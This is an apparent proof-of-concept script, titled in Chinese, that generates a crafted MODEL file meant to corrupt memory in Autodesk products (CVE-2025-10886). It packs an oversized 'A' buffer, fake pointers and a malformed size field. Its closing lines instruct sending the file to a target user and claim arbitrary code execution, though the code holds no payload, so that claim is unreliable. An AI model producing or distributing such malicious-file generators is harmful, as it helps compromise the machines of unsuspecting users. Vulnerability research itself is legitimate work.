Autodesk产品MODEL文件解析内存损坏漏洞(CVE-2025-10886)

# CVE-2025-10886 PoC - Malicious MODEL File Generator # This PoC generates a malicious MODEL file that triggers memory corruption # in Autodesk products during file parsing import struct import os def generate_malicious_model_file(output_path): """ Generate a malicious MODEL file to trigger CVE-2025-10886 This PoC creates a crafted MODEL file with oversized/malformed data that causes memory corruption when parsed by Autodesk products. WARNING: For educational and security research purposes only! """ # MODEL file header structure header = b'MODL' # MODEL file signature header += struct.pack('<I', 0x00000001) # Version header += struct.pack('<I', 0x00001000) # File size indicator # Malicious payload - oversized buffer data # This triggers heap overflow in parsing routine overflow_size = 0x10000 # 64KB overflow malicious_data = b'A' * overflow_size # Crafted object data with invalid pointers object_header = struct.pack('<II', 0x41414141, 0x42424242) # Invalid pointers object_data = malicious_data + object_header # Metadata section with malformed structure metadata = b'META' metadata += struct.pack('<I', 0xFFFFFFFF) # Invalid size metadata += b'\x00' * 256 # Padding # Combine all sections model_file = header + object_data + metadata # Write to file with open(output_path, 'wb') as f: f.write(model_file) print(f"[+] Malicious MODEL file generated: {output_path}") print(f"[+] File size: {len(model_file)} bytes") print(f"[+] Overflow size: {overflow_size} bytes") return output_path if __name__ == "__main__": output_file = "CVE-2025-10886.malicious.model" generate_malicious_model_file(output_file) print("\n[*] Usage: Send this file to target Autodesk user") print("[*] When target opens this file, arbitrary code execution occurs")